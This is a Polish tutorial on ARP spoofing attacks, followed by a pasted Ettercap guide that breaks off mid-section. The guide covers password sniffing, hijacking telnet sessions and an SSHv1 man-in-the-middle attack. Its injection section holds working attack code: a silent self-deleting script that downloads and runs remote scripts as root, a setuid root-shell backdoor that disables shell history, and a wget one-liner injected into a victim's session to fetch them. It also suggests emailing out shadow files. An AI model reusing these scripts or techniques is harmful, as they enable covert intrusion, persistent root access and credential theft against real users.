ARP

Rys historyczny

ARP (Address Resolution Protocol) jest protokoem uywanym przez IP w celu dostarczenia informacji do okrelonego komputera. Zosta opracowany w roku 1982 by stworzy powizanie pomidzy IP a adresem MAC (Media Access Control) w danym segmencie sieci. Dokadna specyfikacja jest zawarta w jednym z najwczeniejszych RFC o numerze 826. Jak wiemy sieci funkcjonuj na warstwie 1 i 2 modelu OSI i uywaj adresw Data Link Layer (warstwy 3 modelu). Potrzeba wprowadzenia ARP bya spraw oczywist od samego pocztku. Trzeba byo w jaki sposb powiza adres IP ze sprztem sieciowym wykorzystywanym w sieciach Ethernet. Problem ten mona byo rozwiza poprzez zastosowanie bezporedniego mapowania lub mapowania dynamicznego adresw. Zdecydowano si na rozwizanie dynamiczne z 2 gwnych powodw - adresy IP maj 32 bity a adresy ethernetowe 48. Po drugie, twrcy IP chcieli zachowa jak najwiksz elastyczno, ktr daj 2 rne adresy.


Charakterystyka protokou

Kiedy pakiet IP dociera do sieci LAN zostaje zamieniony na pakiet, ktry LAN moe zrozumie. Nastpuje enkapsulacja do ramki Ethernet na lokalne potrzeby.Ethernet jest najpopularniejszym rodzajem sieci, w wewntrznej komunikacji nie posuguje si protokoem IP - uywa adresw fizycznych. Do tego wanie suy ARP, pozwala na uzyskanie adresu MAC na podstawie IP (jak rwnie uzyskania IP na podstawie adresu MAC). Niektre urzdzenia przechowuj adresy MAC i adresy IP innych urzdze, ktre s poczone z t sam sieci lokaln. Tablice ARP odwzorowuj adresy IP do odpowiadajcych im adresw MAC. Znajdziemy je zazwyczaj w pamici RAM. Rzadko zdarza si, e s one wprowadzane rcznie (znajduje to zastosowanie w ochronie przed atakami ARP co zostanie szerzej omwione w rozdziale 4). Trzeba rwnie wiedzie, e kady komputer w sieci posiada swoj wasn tablic ARP. Tablica ARP wyglda w sposb nastpujcy: ADRES MAC ADRES IP FE:SS:12:33:21:21 192.168.1.3 XV:SX:1G:36:QM:21 192.168.1.4 Zawsze gdy jakie urzdzenie chce wysa dane do sieci, uywa informacji zawartych w tablicy ARP.

W przypadku chci wysania danych przez hosta do innego hosta musi on zna docelowy adres IP i MAC. Bez tych dwch skadnikw operacja tego typu jest niemoliwa do przeprowadzenia. Jeeli adres ktrego poszukujemy nie znajduje si w najatwiejszym (pod wzgldem dostpu) dla nas miejscu (czyli w tablicy ARP zlokalizowanej na naszym kompterze), do sieci zostanie wysane tzw. danie ARP. Otrzymuj je wszystkie komptery w danej sieci. Pakiet ten skada si z 2 czci:
agwka ramki
komunikatu ARP
Musimy by pewni, e dane danie dotrze do wszystkich w sieci. Jest to zapewnione poprzez zastosowanie rozgoszeniowego adresu MAC (skadajcego si z samych symboli F). Wsystkie komputery w sieci otrzymuj pakiet z adresem FF:FF:FF:FF:FF:FF. Na danie odpowie dopiero interesujcy nas host a jego odpowied bdzie zwiera jego adres sprztowy. Jest to tzw. odpowied ARP. Po otrzymaniu odpowiedzi urzdzenie inicjujce pobiera z niego adres MAC interesujcego nas hosta i zapisuje go w tablicy ARP. Dziki temu moemy ju bezproblemowo przeprowadza operacje przekazywania danych midzy tymi komputerami. W taki wanie sposb powstaj wpisy dynamicze, ktre w przypadku sytemu operacyjnego Windows maj ywotno +- 10 minut.


RARP (Reverse Address Resolution Protocol) wie adres MAC z adresem IP. Jest to protok "odwrotnego odwzorowania", ktry dziki znajomoci adresu fizycznego swojej karty sieciowej moe ustali nalecy do niego adres IP. Jest to szczeglnie przydatne w przypadku gdy mamy do czynienia z komputerem bez dysku twardego. Adres IP komputera musi by przechowywany fizycznie na jakim noniku, w przypadku gdy go nie ma uyteczny jest wanie RARP. Wczony komputer rozgasza zapytanie , zaopatrzone w jego adres fizyczny, o swj adres IP do sieci. W zapytaniu deklaruje siebie samego jako odbiorce. Zapytanie zostaje zignorowane przez wszystkie maszyny w sieci za wyjtkiem tych upowanionych do wiadczenia usug RARP (czyli serwerw RARP). Protokou tego mona wic uywa wycznie jeeli w sieci znajduje si przynajmniej 1 serwer RARP.


Wady i zalety ARP

Jak ju wczeniej napisaem protok ten funkcjonuje od 1982 r. Jest wic jednym z najstarszych uywanych po dzi dzie protokow. Najwiksz wad ARP jest brak wbudowanych funkcji zabezpiecze. Kady z komputerw w sieci moe si podszy za inne maszyny. Wanie dziki temu moemy przeprowadzi wszystkie ataki ARP opisane w dalszej czci tej pracy. Sabe waciwoci w zakresie bezpieczestwa s po czci rwnie zalet. Dziki ich braku jest to bardzo szybki i prosty protoku idealnie speniajcy wyznaczone mu zadania.


Definicja spoofingu

Czym jest spoofing ? Jak si go definiuje ? Wielu ludzi syszao o tego typu atakach, pozostaj one jednak nadal co najmniej tajemnicze. Mona spotka si z 2 podejciami do tego zagadnienia. Spoofing nie oznacza jedynie metody ataku. Wedug sownika SSI (www.ssi.civ.pl) jest to take "technika przyspieszania pracy niektrych protokow transmisji (np. XMODEM, UUCP), wymagajcych potwierdzenia poprawnego przyjcia kadego bloku danych przed wysaniem nastpnego. Niektre modemy potrafi potwierdza kady blok danych jeszcze przed jego fizycznym wysaniem i usuwa potwierdzenia nadsyane przez zdalny komputer".

Z uyciem tej definicji spotykamy si jednak niezwykle rzadko. Gwne znaczenie to podszycie si pod adres IP/MAC innego komputera w celu przeprowadzenia rnego rodzaju atakw. Technika ta jest uywana do podszywania si pod zaufanego hosta. W wypadku internetu przypisanie sobie innego adresu IP jest praktycznie niemoliwe. Hacker posuguje si wtedy zmodyfikowanymi nagowkami pakietw zawierajcymi dany adres IP. W sieci LAN tego typu atak jest znacznie atwiejszy do przeprowadzenia zakadajc, e adresy nie s przydzielane przez serwer DHCP. W takiej sytuacji naley pozbawi danego hosta dostpu do internetu (np. poprzez atak DoS - Denial of Service) lub poprzez wamanie si i uszkodzenie systemu. Mona rwnie skorzysta z metod mniej wyrafinowanych - np. skorzystanie z noa i przecicie odpowiedniego kabla czcego ofiar z hubem/switchem.

Zazwyczaj jednak w sieciach LAN mamy do czynienia z uyciem serwerw DHCP. Automatyczne przydzielanie adresw na podstawie adresu MAC karty jest coraz czciej spotykanym rozwizaniem. Dziki niemu praca providera staje si duo atwiejsza. Zastosowanie tego rozwizania nie jest jednak adn przeszkod. Wynika to z wad protokou ARP, ktre zostan omwione w nastpnym rozdziale. W tym wypadku odpowiedzi jest MAC spoofing. Zmiana adresu MAC karty na taki, ktry serwer DHCP rozpozna i dziki ktremu zostanie przydzielony nam porzdany adres IP. Te rodzaje spoofingu s bardzo interesujce i w pewien sposb ze sob powizane. My zajmiemy si jednak trzecim rodzajem ataku - ARP spoofing. Jest to najciekawszy rodzaj ataku zwaywszy na to, e bezporednio umoliwia przeprowadzenie sniffingu oraz szeregu innych atakw.

ARP spoofing opiera si na wysyaniu faszywych rzda protokou ARP do innych komputerw w sieci zawierajcych dane opatrzone adresem MAC karty atakujcego. Dziki temu atakujcy moe przekierowa wszelk komunikacj midzy dwoma maszynami w taki sposb, e odbywa si ona rwnie z uyciem jego komputera. O ARP spoofing opieraj si wic inne ataki wykorzystujce luki pozostawione przez twrcw tego protokou. ARP spoofing jest pojciem tosamym do ARP poisoningu (czyli "zatruwania" tablic ARP).


Sowem wstpu...


Na stpie musz zauway, e dobrze przeprowadzony atak ARP jest nienamierzalny. Prba znalezienia osoby odpowiedzialnej za atak jest w zasadzie skazana na porak. Wiele zaley oczywicie od odpowiedniego oprogramowania zainstalowanego na komputerach klienckich, oraz od zastosowanego sprztu sieciowego. Niestety wikszoci lokalnych sieci nie sta na zakup produktw Cisco z najwyszej pki. Nawet jeeli mamy do dyspozycji tego typu switcha/routera, nie zawsze administrator potrafi (lub chce) go poprawnie skonfigurowa. Opisy sposobw obrony przed atakami znajduj si w kolejnym rozdziale. W tym natomiast chciabym si skupi na pytaniu - o co tyle krzyku ? Zapewniam, e jak najbardziej jest si czego ba. Ignorowanie tego zagadnienia jest bardzo nierozwanym posuniciem. Przyjrzyjmy si wic podstawowym rodzajom atakw, ktre mog nas spotka.


Ataki arp MITM strona

MITM (Men-In-The-Middle) jest to atak polegajcy na przekierowaniu interesujcego nas ruchu odbywajcymi si midzy dwoma komputerami w sieci przez nasz komputer. Dosownie jestemy "czowiekiem w rodku", wszystkie dane zostaj najpierw przesane do nas a nastpnie my przesyamy je do rzeczywistego miejsca przeznaczenia. Naley zwrci uwag na fakt, e to my otrzymujemy i nastpnie dalej przesyamy cay ruch. Moemy w tym momencie wprowadzi w nim dowolne zmiany. Na tym bazuje np. atak DNS poisoning.

Osoba przechwytujca komunikacj np. midzy bramk internetow a uytkownikiem posiada w peni kompletny zapis ruchu dwustronnego. Moe zobaczy na jakich stronach www kto aktualnie przebywa, przejrze tre sms`w wysyanych z bramek operatorw telefonii komrkowej, przeczyta wysyan poczt, ustali jakie pliki aktualnie zgrywamy uywajc protokou P2P, podsuchiwanie naszych rozmw gadu-gadu itp. Najistotniejsz jednak moliwoci jak obdarza nas atak MITM, jest przechwytywanie wszelkiego rodzaju hase. Mog to by hasa na skrzynk mailow, konto serwisu aukcyjnego, gowne haso do panelu administracyjnego strony i wiele, wiele innych. Praktycznie kada informacja przesyana w sposb nieszyfrowany (czystym tekstem) pada naszym upem. Dlatego te dobrym nawykiem jest szukanie na kadej stronie wymagajcej naszego zalogowania opcji SSL. Umoliwia to nawizanie zaszyfrowanego poczenia, dziki czemu nasze dane zostan bezpieczne.

Jak to w yciu bywa s jednak sposoby na obejcie tego problemu. Osoba przeprowadzajca atak moe wystawi wasny certyfikat SSL potwierdzajcy autentyczno danej strony www. Jeeli kto posiada certyfikat i zaszyfrowane nim dane w kadej chwili moe dokona ich odszyfrowania. Z tego wanie powodu naley sprawdza dane certyfikatw wygldajcych na podejrzane.


Ataki arp DoS

Dos (Denial of Service) polega na odmowie wykonania pewnej usugi. W przypadku sieci lokalnej usug tak jest najczciej dostp do internetu. Nawet osoba niezbyt zorientowana wyposaona w odpowiednie narzdzia moe tego typu atak przeprowadzi. Sam w sobie atak nie jest zagroeniem (chyba, e zostanie on przeprowadzony w celu np. ponownego nawizania przez pewn osob poczenia z dan aplikacj, dziki czemu mona przechwyci haso). Jest to jednak jeden z najbardziej irytujcych atakw jakie mona sobie wyobrazi.

Najprostszym wariantem ataku DoS jest przekierowanie wszelkiego ruchu z bramki w kierunku danego uytkownika pod nieistniejcy adres MAC. Bramka jest przekonana, e wysya dane do istniejcego hosta. Konsekwencj jest oczywicie brak odpowiedzi oraz zerwanie wszelkich pocze z internetem.

Mona oczywicie pj o krok dalej - dlaczego dana osoba ma nie mie jedynie dostpu do internetu? Przecie moe komunikowa si z innymi uytkownikami sieci (np. korzysta dalej z wewntrznego hub`a direct connecta). W tym wypadku pojawia si moliwo kompletnej izolacji danej osoby. Wszelkie adresy MAC z ktrymi dana osoba sprbuje si poczy zastpujemy jej wasnym adresem MAC. Powstaje ptla, przez co wszelka komunikacja z innymi staje si niemoliwa.


Ataki arp flooding

Jednym z powodw dla ktrych korzystamy z zatruwania tablic ARP switchw jest moliwo przeprowadzenia sniffingu. Co si jednak stanie, jeeli dany switch zostanie przez nas dosownie zbombardowany ogromn iloci adresw MAC w krtkim czasie?

Pami switcha zostaje przepeniona i mamy do czynienia z ciekaw teogo konsekwencj, mianowicie switch moe zamieni si w huba. Taki scenariusz jest rzadko spotykany, najwiksz szans na sukces ma w przypadku taniego sprztu sieciowego. Oczywicie jeeli ju uda nam si zamieni w magiczny sposb switcha w huba, mamy moliwo pasywnego sniffowania caego ruchu sieciowego (gdy jak wiemy hub wysya wszystkie dane na kady swj port niezalenie od adresw MAC).


Ataki arp hijacking

Atak ten polega na porwaniu istniejcej sesji. Po nawizaniu komunikacji midzy serwerem a klientem atakjcy moe tak sesj "porwa". Polega to na przeprowadzeniu ataku DoS wzgldem klienta i podszycie si pod niego w komunikacji z serwerem. Dziki temu atakujcy uzyskuje dostp do nawizanej wczeniej sesji z penymi prawami prawdziwego waciciela. Tego typu atak jest trudny do wykonania, s jednak programy zdecydowanie uatwiajce tego typu dziaania.



Ataki port stealing

W celu przechwycenia penej komunikacji midzy dwoma hostami musimy zatru tablice ARP obydwu hostw. Dziki temu jak ju wczeniej napisaem uzyskujemy sniffowanie w trybie full-duplex. Jeeli jednak z jaki przyczyn nie moemy tego zrobi (lub wiemy, e uytkownik posiada odpowiednie oprogramowanie wykrywajce zmiany adresw MAC) w sukurs przybiega nam port stealing. Jaki port kradniemy ? Ot naszym celem jest port switcha do ktrego podczona jest interesujca nas osoba ! W tym wypadku nie pomoe nam firewall, program monitorujcy zmiany lokalnej tablicy arp czy statyczne wpisy. Jedynym lekarstwem na t chorob jest port security na switchu.

Switch jest zalewany pakietami ARP wskazujcymi, e na porcie do ktrego jest podczony atakujcy znajduj si rwnie inni uytkownicy. Jest to pewnego rodzaju wycig, ktry zazwyczaj wygrywa atakujcy. Po przechwyceniu interesujcych go pakietw przerywa on proces floodowania pakietami ARP i wysya zapytanie ARP dla prawdziwego miejsca przeznaczenia pakietu. Po otrzymaniu odpowiedzi ARP wiemy, e port zosta odzyskany przez prawowitego waciciela. Pakiet zostaje ponownie przesany do nic nie podejrzewajcej osoby. Metoda ta pozwala na przechwytywanie portw w caym drzewie sieciowym switchy, generuje jednak due obcienie.


Ataki DNS poisoning

Co moe zrobi osoba przeprowadzajca atak jeeli stosujemy certyfikaty ssl i zawsze zwracamy uwag na zaznaczanie opcji bezpiecznych pocze? Moe zrobi jedn prost (ale jake skuteczn) rzecz, mianowicie przekierowa nas pod adres spreparowanej strony wygldajcej identycznie jak strona prawdziwa. Oczywicie z maym wyjtkiem - szyfrowanie nie bdzie w ogle zachodzio.

Zmiana adresw DNS jest bardzo atwa do przeprowadzenia w poczeniu z atakiem MITM. Osoba wchodzca na stron www.mbank.pl zostanie przekierowana bez jej wiedzy pod adres wybrany przez atakujcego. Haso zostanie przechwycone, konto przejte a uytkownik otrzyma jedynie niewiele mwicy komunikat np. o tym, e strona nie pozwala aktualnie na logowanie z powodu prac nad serwisem.



Mam nadzieje, e troche rozjanio si nam w gowach. Oczywicie takie operacje s(nie powiedziabym trudne ale) uciliwe ze wzgldu na mnogo operacji do wykonania. Nie chodzi mi tu o sam atak MITM bo ten jest banalnie prosty ale raczej o przechwytywanie danych jakie s przesyane w LANie. Z pomoc przychodzi nam jeden z najlepszych snifferw ettercap scigniesz go w dziale download. Jako, e nie chce mi si wam treci caego tego tekstu, a kady jego element uwaam za suszny wkleje go w wersji niezmodyfikowanej:

Autor artykuu:
nagash

Artyku pochodzi ze strony: http://www.t-nas.org/

Ettercap - obsuga
Jest to opis wersji pod system operacyjny Linux, pod systemem Windows NT/XP/2000 wikszo opcji dziaa prawidowo, pod systemem Windows 98/ME wikszo opcji nie dziaa.



______ _ _
| ____| | | |
| |__ | |_| |_ ___ _ __ ___ __ _ _ __
| __| | __| __/ _ \ '__/ __/ _` | '_ \
| |____| |_| || __/ | | (_| (_| | |_) |
|______|\__|\__\___|_| \___\__,_| .__/
by | |
Nagash 2004 v1.0 |_|

Zawartosc:
0. WSTEP
1. INSTALACJA
2. SLOW KILKA NA TEMAT "WESZENIA" W ETTERCAPIE
3. WSTRZYKNIECIA
4. "BEZPIECZNY" PROTOKOL SSHv1
5. PASYWNA IDENTYFIKACJA KOMPUTEROW
6. PACKET FORGE
7. FILTRY
8. ZAKONCZENIE

###########
# 0. WSTEP

Artykul ten zostal napisany JEDYNIE z celu usiadominia ludziom jak latwo przechwycic niezaszyfrowane (bardzo czesto zaszyfrowane tez) informacje w lokalnej sieci. Nie odpowiadam za ewentualne szkody poniesione w wyniku uzywania tych technik, ponadto zaznaczam ze czesc z nich jest nielegalna i karana przez polskie prawo. Dokument mozna dowolnie powielac (bez jego modyfikacji), nie mozna natomiast go "sprzedawac" (umieszczac na platnych nosnikach danych, itp.). To tyle slowem wstepu.

################
# 1. INSTALACJA

Sciagamy ostatnia stabilna wersje ettercapa (ver. 0.6.b) ze strony http://ettercap.sourceforge.net/. Sama instalacja nie powinna przysporzyc zbyt duzej ilosci klopotwo, ta wersja nie ma specjalnych wymagan co do bibliotek (zalecane jest posiadanie ncurses), opcjonalnie wymagane sa biblioteki gtk+, ale nie radze zawracac sobie nimi glowy. Interfejs graficzny jest jeszcze bardzo mocno niedopracowany i bardzo czesto program niespodziewanie konczy swoja prace. Jeeli kto nie chce traci czasu na instalacje to moe skorzysta, z poniszego skryptu:

-- install.sh --
#!/bin/bash

if [ `whoami` != "root" ]; then
echo "[-] Tylko root moze poprawnie uruchomic ten skrypt"
exit 1
fi
old_dir=`pwd`
cd /usr/local/src
echo "[~] Rozpoczynam sciaganie zrodla ettercapa..."
wget http://unc.dl.sourceforge.net/source...p-0.6.b.tar.gz > /dev/null 2> /dev/null
if [ $? -eq 0 ]; then
echo "[+] Zrodlo zostalo sciagniete"
else
echo "[-] Wystapil blad podczas sciagania zrodla"
exit 1
fi
echo "[~] Rozpakowywuje..."
tar -zxf ettercap-0.6.b.tar.gz
if [ $? -eq 0 ]; then
echo "[+] Zrodlo rozpakowane"
else
echo "[-] Wystapil blad podczas rozpakowywania"
exit 1
fi
rm -f ettercap-0.6.b.tar.gz
echo "[+] Zrodlo zostalo poprawnie sciagniete i rozpakowane do katalogu /usr/local/src/"
echo "[~] Konfiguruje i kompiluje ettercapa..."
cd ettercap-0.6.b
#wylaczam gtk, poniewaz uwazam ze to zbedny bajer, moze w nastepnej wersji bedzie bardziej dopracowany...
./configure --disable-gtk || make || make install
if [ $? -eq 0 ]; then
echo "[+] Instalacja przebiegla pomyslni"
else
echo "[-] Wystapil blad podczas instalacji"
exit 1
fi
cd $old_dir

-- install.sh --

###########################################
2. SLOW KILKA NA TEMAT "WESZENIA" W ETTERCAPIE

Gdy mamy juz zainstalowanego ettercapa, mozemy przystapic do zapoznania sie z jego funkcjami. Gdy program chodzi praktycznie w kazdej chwili mozemy wywolac menu pomocy (klawiszem "h"), aby sprawdzic jakie opcje sa w danej chwili dostepne.
Jedna z najwazniejszych (moim zadaniem) jest zdolnosc "zatruwania sieci" odpowiednio spreparowanymi pakietami ARP. Dzieki temu mozemy skutecznie podsluchiwac inne komputery nawet w sieciach przelaczanych. Zaleta programu jest to ze praktycznie calkowicie automatyzuje on cala czynnos. Wystarczy ze wybierzemy hosty, ktore chcemy podluchwiac, kierunk transmisji i sniffing na bazie pakietow ARP (czyli (A)). Teraz wystarczy ze poczekamy i hasla beda nasze. Ettercap automatycznie przechwytuje loginy i hasla z najbardziej popularnych protokolow (TELNET, FTP, POP, RLOGIN, SSH1, ICQ, SMB, MySQL, HTTP, NNTP, X11, NAPSTER, IRC, RIP, BGP, SOCKS 5, IMAP 4, VNC, LDAP, NFS, SNMP, HALF LIFE, QUAKE 3, MSN, YMSG). "Automatycznie" oznacza, ze wystarczy najechac na dane polaczenie tabulka, i na dole ekranu pojawi sie, user i login. Gdy jestesmy nastawieni na masowe przechwytywanie hasel, dobrym pomyslem byloby przed zakonczeniem sesji zapisanie ich do pliku, mozemy to uczynic przez nacisniecie klawisza (L). Oczywiscie mozna tez recznie przechwytywac takie informacje. Wchodzac do polaczenia, podswietlajac je i naciskajac (enter), mamy dokladny zapis transmisji jaka przebiega pomiedzy dwoma maszynami. Oba okna mozna skofigurowac dla naszych potrzeb. Na przyklad, gdy chcemy podsluchiwac rozmowe na chatcie lub protokole komunikacynym dla przejrzystosci mozemy nacisnac (T), wtedy w oknach beda wyswietlane tylko znaki "pisane", reszta bedzie wycinana. Mozemy powrocic do widoku ascii przez nacisniecie (A), lub wlaczyc tryb bardziej szczegolowy (hexowy), przez nacisniecie klawisza (X).

###################
# 3. WSTRZYKNIECIA

W trybie sniffingu ARP oprocz ogladania transmisji dostajemy jeszcze jedna mozliwosc. Mozemy "wstrzykiwac" wlasne dane. Rozpatrzmy taka sytuacje. Przypuscmy ze ktos w sieci uzywa telnetu. Polaczyl sie z jakims serwerem, niestety zrobil to zanim my zdarzylismy wlaczyc sniffera, czyli juz nie podejrzymy hasal (przynajmnije poki co). Mozemy jednak przeslac do sewera zwykla komende tak jak bysmy to my byli komputerem podlaczonym do tego serwera. Taka komenda moze byc przypuscmy "exit\r\n", lub "logout\r\n", jej skutek zobaczy prawdziwy uzytkownik, ktory zostanie odlaczony. Jezeli zrobimy to w dobrym momencie (na przyklad wtedy gdy zalogowany czlowiek wydal juz jakies polecenie do serwera i czeka na wynik, lub tuz po jego wykonaniu, gdy nie zdarzyl jeszcze przeczytac wyniku). Najprawdopodobniej bedzie probowal sie zalogowac jeszcze raz, a wtedy poda uzytkownika i haslo, czyli to o co nam chodzi. To byl akurat prosty przyklad i w sumie nie trzeba bylo tu korzystac z wstrzykniec, tylko nacisnac klawisz (K), ktorym zabijamy zaznaczone polaczenie. Przypuscmy terez ze zalogowany uzytkownik ma prawa root'a, mozemy wykonac manewr z zabiciem polaczenia i zdobyciem hasla, ale... logujac sie zawsze pozostawiamy slady w systemie, a nie zawsze mozna je usunac. Dzieki wstrzyknieciom mozemy zalozyc sobie backdoora, oraz zebrac informacje o systemie (np. gdzie sa zapisywane logi systemowe) bez koniecznoci podlaczania sie do niego. Jak tego dokonac? W tym celu stworzylem/(zmodyfikowalem juz istniejace) pare prostych skryptow w bashu.

-- mod_rt.sh --

#!/bin/bash
#skrypt automatyzujacy zakladnie backdoorow
#sciaga on liste innych skryptow z sieci, po czym je uruchamia
#moga to byc dowolne skrypty, zbierajace info o komputerze na ktorym zostal uruchominy, proste backdoory itp.
#DEKLARACJE FUNKCJI

#stworzenie i przeniesienie sie do tymczasowego katalogu
function begin()
{
# echo "[+] Starting scrypt"
mkdir /tmp/inode9234
pushd /tmp/inode9234 > /dev/null 2> /dev/null
}

#funkcja czyszczaca wywowywana na ogol na koniec skryptu
function end()
{
# echo "[+] Clearing..."
popd > /dev/null 2> /dev/null
rm -rf /tmp/inode9234
name=`echo $0`
(sleep 5; rm -f $name) &
# echo "[+] Stoping scrypt"
}
#KONIEC DEKLARACJI

#sprawdzenie czy osoba wykonujaca skrypt jest rootem
id | grep -w 'uid=0' > /dev/null 2> /dev/null
if [ $? -ne 0 ]; then
# echo "[-] You must be root to run this script correctly"
exit 1
fi

begin

#ustalenie miejsca listy skryptow
if [ $1 ]; then
src_dow=$1;
else
src_dow='http://strona.z.lista.moich.skryptow.i.backdorami/src_list';
fi

src_dir=`echo ${src_dow%/*}`

#sciagniecie pliku skryptow do instalacji
# echo -n "[~] Downloading scrypt list: "
wget $src_dow > /dev/null 2> /dev/null
if [ $? -eq 0 ]; then
# echo -e "\t[ OK ]"
echo > /dev/null #linijka zbedna gdy powyzsza nie jest skomentowana
else
# echo -e "\t[ FAIL ]"
# echo "[-] Can't download scrypt list"
end
exit 1
fi

# echo "[~] Starting download:"
#sciagnanie i wykonywanie kolejnych skryptow
line_num=1
line=`cat -n src_list | grep -w " $line_num" | cut -b 8-`
while [ $line ]; do
#sprawdzenie czy linia nie zaczyna sie od znaku komentarza lub spacji
res=`echo $line | cut -b 1`
if [ $res != "#" -o $res != " " ]; then

# echo "[~] Downloading: $src_dir/$line"
#sciagniecie skryptu
wget "$src_dir/$line" > /dev/null 2> /dev/null
if [ $? -eq 0 ]; then
# echo "[+] Downloading complete"
#wykonywanie skryptu
# echo -ne "[~] Executing $line: "
sh $line
if [ $? -eq 0 ]; then
# echo -e "\t[ OK ]"
echo > /dev/null #linia zbedna gdy powyzsza jest odkomentowana
else
# echo -e "\t[ FAIL ]"
echo > /dev/null #to samo co wyzej
fi
else
# echo "[-] Can't download: $line"
echo > /dev/null #czytaj wczesniej
fi
fi
line_num=$[$line_num+1]
#ten warunek moze nie jest zbyt profesjonalnie napisany, ale chyba nikt nie bedzie korzystal
#z listy wiekszej niz 999 ??
if [ $line_num -ge 10 ]; then
line=`cat -n src_list | grep -w " $line_num" | cut -b 8-`
elif [ $line_num -ge 100 ]; then
line=`cat -n src_list | grep -w " $line_num" | cut -b 8-`
else
line=`cat -n src_list | grep -w " $line_num" | cut -b 8-`
fi


done

end
-- mod_rt.sh --

Jak mozna zauwazyc wylaczylem w naszym przykladzie wszystkie komendy "echo", zabieg ten jest niezbedny poniewaz, napewno ofiara by sie szybko zoorientowala, ze cos jest nie tak, gdyby nagle na jej ekranie zaczelyby sie wypisywac komunikaty o postepie zakladanych backdoorow.

-- local_simple_backdoor.sh --
#!/bin/bash

cat << KONIEC > a.c
#include <stdlib.h>
main () {
setuid(0);
setgid(0);
unsetenv("HISTFILE");
system("/bin/sh");
}
KONIEC
gcc -o /tmp/tmp01985 a.c
chmod +s /tmp/tmp01985
rm -f a.c
-- local_simple_backdoor.sh --

najprostrzy lokalny backdoor jaki widzialem, bardzo latwo go tez znalezc, ale dla przykladu wystarczy. Tworzymy tez jakis tam plik z lista skryptow, ktore maja byc wykonane na komputerze ofiary. W tym wypadku bedzie on wygladal tak:

-- src_list --
local_simple_backdoor.sh
-- src_list --

(moze byc ich oczywiscie wiecej wtedy ich nazwy powinny byc wpisywane w nowych liniach)
wszystkie trzy pliki wrzucamy na darmowy serwer www (http://darmowy.serwer.pl/moje_konto). Wystarczy ze strzykniemy w sesje nastepujacy tekst:
(wget -q darmowy.serwer.pl/moje_konto/mod_rt.sh; sh mod_rt.sh darmowy.serwer.pl/moje_konto/src_list\r\n
albo jezeli chcemy mozemy skrocic wstrzykniecie przez nadanie zmiennej $src_dow w skrypcie mod_rt.sh wartosci, ktora bedzie okreslala miejsce pliku "src_list". Dzieki temu pojawi sie lokalny backdoor, a to tylko przyklad. Mozna rownie dobrze napisac skrypt, ktory wysle na maila plik z passwd/shadow'em, odpowiednio zmodyfikuje syslog.conf lub po prostu podmieni plik /var/www/html/index.html.

#################################
# 4. "BEZPIECZNY" PROTOKOL SSHv1

W powyzszym punkcie opisalem, metody atakow na protokol telnet. Moze i bylyby one przydatne gdyby nie fakt, ze coraz mniej osob z niego korzysta. Protokol ten jest wypierany glownie przez SSH. Wielu administratorow jednak nie zdaje sobie sprawy ze domyslna konfiguracja jednej z najpopularnijszych implementacji (OpenSSH) dopuszcza korzystanie w pierwszej wersji tego protokolu. Nie jest to blad czy zaniedbanie ze strony programistow. Po prostu nie wszystkie klienty tego protokolu obsluguja wersje druga. Co daje nam ta wiedze? Pierwsza wersja SSH oraz SSL jest podatny na atak typu MITM (men-in-the-middle, "czlowiek-w-srodku"). Sadze, ze nazwa tego ataku sama opisuje jego przebieg (jezeli ktos jest zainteresowany szczegolami to odsylam do google). Tutaj przedstawie tylko zalozenia:

+---+ szyfrowanie kluczem nr. 1 +---+
| A | <--------------------------> | B |
+---+ +---+
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ <- Normalne polaczenie SSH


+---+ szyfrowanie kluczem nr. 1 +---+ szyfrowanie kluczem nr. 2 +---+
| A | <--------------------------> | C | <--------------------------> | B |
+---+ +---+ +---+
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Polaczenie SSH + atak MITM

Widzimy tu ze w polaczeniu posredniczy maszyna C. Jest ona w stanie odczytac zaszyfrowane informacje, poniewaz maszyna A uwaza ja za B, natomiast maszyna B za A. Cale polaczenie jest szyfrowane, tylko ze komunikacja odbywa sie w dwoch etapach najpierw maszyna A szyfruje do C, myslac ze to komputer B. Maszyna C odszyfrowywuje informacje oraz szyfruje ja do maszyny B podajac sie za A. Calosc jest mozliwa poniewaz SSH1 i SSL nie uwzglednia uwierzytelniania maszyn ktore sie komunikuja. Oto cala idea. Atak mozna przeprowadzic tylko na poczatku polaczenia, czyli podczas gdy obie maszyny wymieniaja miedzy soba klucze publiczne i generuja klucz do sesji.

To tyle teorii, teraz jak to przeprawadzic w praktyce. Wlasciwie wystarczy uruchomic ettercapa, ustawic sniffing miedzy danymi maszynami na bazie pakietow ARP i czekac. Ettercap odwali cala brudna robote za nas. Nigdy nie probowalem (z braku mozliwosci), ale metody opisane wyzej w atakach na telnet powinny tez dzialac na protokole SSH1. Jezeli natomiast spoznilismy sie z uruchomieniem sniffera, bedziemy widziec tylko zaszyfrowane informacje. Mozna sobie z tym poradzic, zabijajac dane polaczenie, i czekajac az zostanie nawiazane nowe. Klient SSH oraz przegladarki internetowe (w przypadku SSL) wyswietlaja informacje o kluczu jakiego uzywa druga strona. Z doswiadczenia jednak, wiem ze malo kto zwraca na to uwage (bo przeciez kto sie bedzie uczyl na pamiec "odciskow palcow" kluczy publicznych serwerow?). Tak wiec widac ze, pomimo silnych algorytmow kryptograficznych, przez nieuwage lub ignorancje mozemy w latwy sposob pozystac nawet zaszyfrowane informacje.

######################################
# 5. PASYWNA IDENTYFIKACJA KOMPUTEROW

Przed skutecznym atakiem na maszyne, dobrze jest wiedziec z jakiego systemu operacyjnego ona korzysta. Jedna z najpopularniejsza metod identyfikacji jest aktywny OS fingerprinting. Program uzywajacy tej metody wysyla roznego rodzaju zapytania do skanowanej maszyny, maszyna odpowiada lub nie, program skanujacy analizuje (porownuje ze swoja wbudowana baza danych na temat systemow) rodzaj odpowiedzi, czas po jakim odpowiedz zostala wyslana i na tej podstawie stara sie okreslic wersje oraz system operacyjny. Najpopularniejszym narzedziem, z rozbudowana baza i wieloma odmianami skanowania jest Nmap. Ten typ skanowania ma jedna pewna wade. Poniewaz dobrze skonfigurowany system operacyjny/firewall bedzie rejestrowal te zapytania, pozniej te informacje moga byc wykorzystane przeciwko atakujacemu, lub dac przynajmniej jakis trop administratorom. Dlatego zostala stworzona technika pasywnej identyfikacji systemow. Ma ona jedna wielka zalete, nie generuje ona zadnego ruchy, tym samym atakujacy pozostaje "niewidzialny". Technika ta posiada takze duza wade, mozna jej uzywac tylko w sieciach lokalnych. Pasywna identyfikacja rozni sie tym od aktywnej, ze nie wysyla zapytan do skanowanej maszyny. Program korzystajacy z tej techniki analizuje ruch w sieci i po tym 